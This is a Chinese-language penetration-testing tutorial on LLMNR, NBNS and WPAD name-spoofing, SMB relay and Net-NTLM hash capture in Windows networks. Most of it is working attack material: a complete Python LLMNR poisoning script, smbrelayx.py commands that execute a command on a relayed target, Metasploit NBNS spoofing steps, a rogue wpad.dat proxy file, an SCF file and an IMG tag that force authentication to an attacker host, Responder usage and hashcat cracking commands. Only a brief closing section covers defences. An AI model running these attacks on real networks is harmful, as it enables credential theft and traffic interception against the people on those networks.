名称欺骗中间人攻击

LLMNR

Link-Local Multicast Name Resolution (LLMNR)
链路本地多播名称解析

当我们执行ping WEBTST01将会发送LLMNR请求解析WEBTST01。所有的LLMNR包将会发送到组播地址224.0.0.252 MAC:01:00:5E:00:00:FC,响应主机将单播回应查询。

LLMNR packet header structure

  • ID - A 16-bit identifier assigned by the program that generates any kind of query.
  • QR - Query/Response.
  • OPCODE - A 4-bit field that specifies the kind of query in this message. This value is set by the originator of a query and copied * into the response. This specification defines the behavior of standard queries and responses (opcode value of zero). Future specifications may define the use of other opcodes with LLMNR.
  • C - Conflict.
  • TC - TrunCation.
  • T - Tentative.
  • Z - Reserved for future use.
  • RCODE - Response code.
  • QDCOUNT - An unsigned 16-bit integer specifying the number of entries in the question section.
  • ANCOUNT - An unsigned 16-bit integer specifying the number of resource records in the answer section.
  • NSCOUNT - An unsigned 16-bit integer specifying the number of name server resource records in the authority records section.
  • ARCOUNT - An unsigned 16-bit integer specifying the number of resource records in the additional records section.

LLMNR Poison

基于名字解析的ip欺骗

Python模拟LLMNR响应Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!python
#/usr/bin/env python
__doc__ = """
LLMNR Answer, by Her0in
"""
import socket, struct
class LLMNR_Answer:
def __init__(self, addr):
self.IPADDR = addr
self.las = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.init_socket()
self.populate()
def populate(self):
self.AnswerData = (
"TID" # Tid
"\x80\x00" # Flags Query(0x0000)? or Response(0x8000) ?
"\x00\x01" # Question
"\x00\x01" # Answer RRS
"\x00\x00" # Authority RRS
"\x00\x00" # Additional RRS
"LENGTH" # Question Name Length
"NAME" # Question Name
"\x00" # Question Name Null
"\x00\x01" # Query Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01" # Class
"LENGTH" # Answer Name Length
"NAME" # Answer Name
"\x00" # Answer Name Null
"\x00\x01" # Answer Type ,IPv4(0x0001)? or IPv6(0x001c)?
"\x00\x01" # Class
"\x00\x00\x00\x1e" # TTL Default:30s
"\x00\x04" # IP Length
"IPADDR") # IP Address
def init_socket(self):
self.HOST = "192.168.15.165"
self.PORT = 5355
self.MulADDR = "224.0.0.252"
self.las.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP,
socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
def Answser(self):
self.las.bind((self.HOST, self.PORT))
print "Listening..."
while True:
data, addr = self.las.recvfrom(1024)
tid = data[0:2]
namelen = struct.unpack('>B', data[12])[0]
name = data[13:13 + namelen]
data = self.AnswerData.replace('TID', tid)
data = data.replace('LENGTH', struct.pack('>B', namelen))
data = data.replace('NAME', name)
data = data.replace('IPADDR', socket.inet_aton(self.IPADDR))
print "Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], name)
self.las.sendto(data, addr)
self.las.setsockopt(socket.IPPROTO_IP, socket.IP_DROP_MEMBERSHIP,
socket.inet_aton(self.MulADDR) + socket.inet_aton(self.HOST))
self.las.close()
if __name__ == "__main__":
llmnr = LLMNR_Answer("11.22.33.44")
llmnr.Answser()

Network Basic Input/Output System (NetBIOS)

NetBIOS is an API providing various networking services.

NetBIOS provides three distinct services:

  • Name service for name registration and resolution (ports: 137/udp and 137/tcp)
  • Datagram distribution service for connectionless communication (port: 138/udp)
  • Session service for connection-oriented communication (port: 139/tcp)

NBNS

NetBIOS名字服务,将NetBIOS名称解析为相应IP地址。很多时候是启用TCP/IP上的NetBIOS。

当我们PING hostname或者socket.gethostbyname(‘hostname’)时,依次会在本地缓存查找,LMHOSTS,WINS服务器,广播“名称查询”数据包。

Nbtstat

我们可以通过nbtstat命令来查看本地NetBIOS名称缓存。

1
2
3
4
5
NBTSTAT [ [-A IP address] [-c] [-n] [-R]]
-A (适配器状态) 列出指定 IP 地址的远程机器的名称表。
-c (缓存) 列出远程[计算机]名称及其 IP 地址的 NBT 缓存
-n (名称) 列出本地 NetBIOS 名称。
-R (重新加载) 清除和重新加载远程缓存名称表

SMBRelay

SMB2
Server Message Block (SMB)服务器消息块协议,主要用于在计算机间共享文件、打印机、串口等。SMB2运行在TCP 139和445端口。

使用NTLMv2身份认证

  1. 协商
  2. 挑战
  3. 认证
1
2
3
4
5
Client (域中机器) ----> Middle Attack (192.168.6.12) ----> Server(192.168.6.4)
!
!
V
DC (192.168.6.2)

Note
Windows Server 2008 R2 需关闭“对通信进行数字签名”,否则smbrelayx.py将报错 SMB SessionError: STATUS_ACCESS_DENIED({Access Denied}…,我们也可以通过NETLOGON (CVE-2015-0005)获取SMB session key。

注册表禁用签名
HKLM\System\CurrentControlSet\Services\LanManServer\Parameters
RequireSecuritySignature REG_DWORD: 0 = Disabled

利用工具:
Impacket
https://github.com/CoreSecurity/impacket

Attack转发SMB请求到Server并执行命令calc.exe

python smbrelayx.py -h 192.168.6.4 -c "calc.exe"

Client以一个有效的账户登录(通常是域管),命令行执行:

dir \\192.168.6.12\c$

SMB签名

你需要一个有效的机器账户名和NTLM hashes,通过-domain参数指定DC。

1
WIN-7JFKE9MFQQ7$:RUOS:00000000000000000000000000000000:FB55268036B7C0ACE6E417F2EF959C28

Usage:

1
./smbrelayx.py -h 192.168.6.4 -c "calc.exe" -machine-account RUOS/WIN-7JFKE9MFQQ7\$ -machine-hashes LMHASH:NTHASH -domain DC

BadTunnel

跨网段响应名称查询

WPAD

WPAD(Web Proxy Auto Discovery)让浏览器通过DHCP和DNS的查询来搜索PAC文件的位置。

当IE Internet Options连接中配置为自动检测设置时,IE会根据以下方式来查找WPAD.dat文件

  • DHCP(252 option)
  • DNS A record query
  • NetBios
  • LLMNR

在DNS中创建WPAD (无法解析?)

https://technet.microsoft.com/en-us/library/cc995062.aspx

Proxy auto-config
代理自动配置(PAC)文件定义了应用如何自动选择合适的代理服务器来访问给定的URL,习惯命名proxy.pac,WPAD标准使用wpad.dat。

A simple example of a PAC file:

1
2
3
4
5
6
function FindProxyForURL(url, host) {
if (url== 'http://www.baidu.com/') return 'DIRECT';
if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070';
if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT';
return 'DIRECT';
}

如何攻击?

客户端首先查询WPAD名称IP,然后下载wpad.dat文件配置浏览器代理。

WPAD服务器
http://192.168.6.12/wpad.dat

1
2
3
4
5
6
7
8
9
function FindProxyForURL(url, host) {
// URLs within this network are accessed directly
if (isInNet(host, "127.0.0.1", "255.255.255.0"))
{
return "DIRECT";
}
// 192.168.6.1:8080 开启http代理
return "PROXY 192.168.6.1:8080; DIRECT";
}

MSF NBNS响应攻击

1
2
3
4
msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set regex WPAD
msf auxiliary(nbns_response) > set spoofip 192.168.6.12
msf auxiliary(nbns_response) > run

当IE访问链接时,通过NBNS查询WPAD,攻击机将响应IP指向192.168.6.12。IE将自动下载wpad.dat文件并将地址缓存到注册表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]项,此时IE的流量将通过我们的代理服务器。

抓取HASH

Net-NTLM hashes 被用来作为网络认证,不同于NTLM hashes,不能用来执行 Pass-The-Hash 攻击,Net-NTLMv2 hash格式如下。

1
admin::RUOS:1122334455667788:d5006d468c997ca37845df3d88316477:0101000000000000eaca11bf5f6ed301ca362b9cc58cc07500000000020000000000000000000000

启动smb服务

Note
auxiliary/server/capture/http_ntlm 通过http方式访问将弹出Windows安全认证窗口

IMG标签
<img src="\\192.168.6.12\1.jpg" />

test.scf放入共享目录

1
2
3
4
5
[Shell]
Command=2
IconFile=\\192.168.6.12\test
[Taskbar]
Command=ToggleDesktop

当用户打开嵌入IMG标签的网页或者访问含有test.scf文件的共享目录时将自动向192.168.6.12请求认证。

Crack hash

  • 字典破解(不推荐)
    hashcat64 -m 5600 -D 1 –show john_hashes_netntlmv2 example.dict
  • 彩虹表

自动化攻击工具

Responder

1
./Responder.py -I eth0 -wrfvb -u 192.168.6.1:8888

Responder启动将开启WPAD,SMB,WEB PROXY等服务,并响应所有名字解析到Responder服务器IP。受害者通过Responder代理服务器访问网页将被注入HTML代码 (-b参数),并弹出认证钓鱼页面。当开启Serve-Exe = On参数时将替换客户端下载的所有exe为ExeFilename指定的程序。

由于会自动响应域名名称,导致显示太多信息,我们修改NBTNS.py将其忽略。

1
2
3
4
5
6
7
8
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
def handle(self):
data, socket = self.request
Name = Decode_Name(data[13:45])
if re.match(r'^([A-Z0-9]+(-[A-Z0-9]+)*\.)+[A-Z]{2,}$', Name):
#print "this is a domain: " + Name
return None

防范

  • 禁用LLMNR
    reg add “HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient” /v EnableMulticast /t REG_DWORD /d 0 /f
    reg add “HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient” /v EnableMulticast /t REG_DWORD /d 0 /f
  • 禁用NetBIOS
  • 启用SMB签名

参考